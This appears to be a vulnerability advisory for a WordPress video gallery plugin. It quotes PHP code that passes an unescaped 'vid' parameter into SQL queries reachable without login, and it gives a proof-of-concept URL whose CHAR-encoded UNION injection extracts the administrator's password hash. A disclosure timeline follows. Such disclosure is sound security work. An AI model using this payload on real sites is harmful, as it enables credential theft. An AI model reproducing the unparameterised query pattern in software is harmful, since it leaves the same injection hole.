$_GET['vid'] is not escaped.
google_adsense() is accessible for everyone.
File: contus-video-gallery\hdflvvideoshare.php
add_action('wp_ajax_googleadsense' ,'google_adsense');
add_action('wp_ajax_nonpriv_googleadsense' ,'google_adsense');
function google_adsense(){
global $wpdb;
$vid = $_GET['vid'];
$google_adsense_id = $wpdb->get_var('SELECT google_adsense_value FROM '.$wpdb->prefix.'hdflvvideoshare WHERE vid ='.$vid);
$query = $wpdb->get_var('SELECT googleadsense_details FROM '.$wpdb->prefix.'hdflvvideoshare_vgoogleadsense WHERE id='.$google_adsense_id);
$google_adsense = unserialize($query);
echo $google_adsense['googleadsense_code'];
die();
}Proof of Concept
http://wordpress-url/wp-admin/admin-ajax.php?action=googleadsense&vid=0 UNION SELECT CAST(CHAR(48, 32, 85, 78, 73, 79, 78, 32, 83, 69, 76, 69, 67, 84, 32, 67, 79, 78, 67, 65, 84, 40, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 57, 55, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 56, 44, 32, 49, 50, 51, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 57, 44, 32, 53, 54, 44, 32, 53, 56, 44, 32, 51, 52, 44, 32, 49, 48, 51, 44, 32, 49, 49, 49, 44, 32, 49, 49, 49, 44, 32, 49, 48, 51, 44, 32, 49, 48, 56, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 49, 49, 48, 44, 32, 49, 49, 53, 44, 32, 49, 48, 49, 44, 32, 57, 53, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 48, 48, 44, 32, 49, 48, 49, 44, 32, 51, 52, 44, 32, 53, 57, 44, 32, 49, 49, 53, 44, 32, 53, 56, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 76, 69, 78, 71, 84, 72, 40, 117, 115, 101, 114, 95, 112, 97, 115, 115, 41, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 53, 56, 44, 32, 51, 52, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 44, 32, 117, 115, 101, 114, 95, 112, 97, 115, 115, 44, 32, 67, 65, 83, 84, 40, 67, 72, 65, 82, 40, 51, 52, 44, 32, 53, 57, 44, 32, 49, 50, 53, 41, 32, 97, 115, 32, 67, 72, 65, 82, 41, 41, 32, 70, 82, 79, 77, 32, 119, 112, 95, 117, 115, 101, 114, 115, 32, 87, 72, 69, 82, 69, 32, 73, 68, 32, 61, 32, 49) as CHAR)Timeline
- 20-01-2015: Discovered
- 20-01-2015: Vendor notified
- 23-02-2015: Version 2.8 released, issue resolved
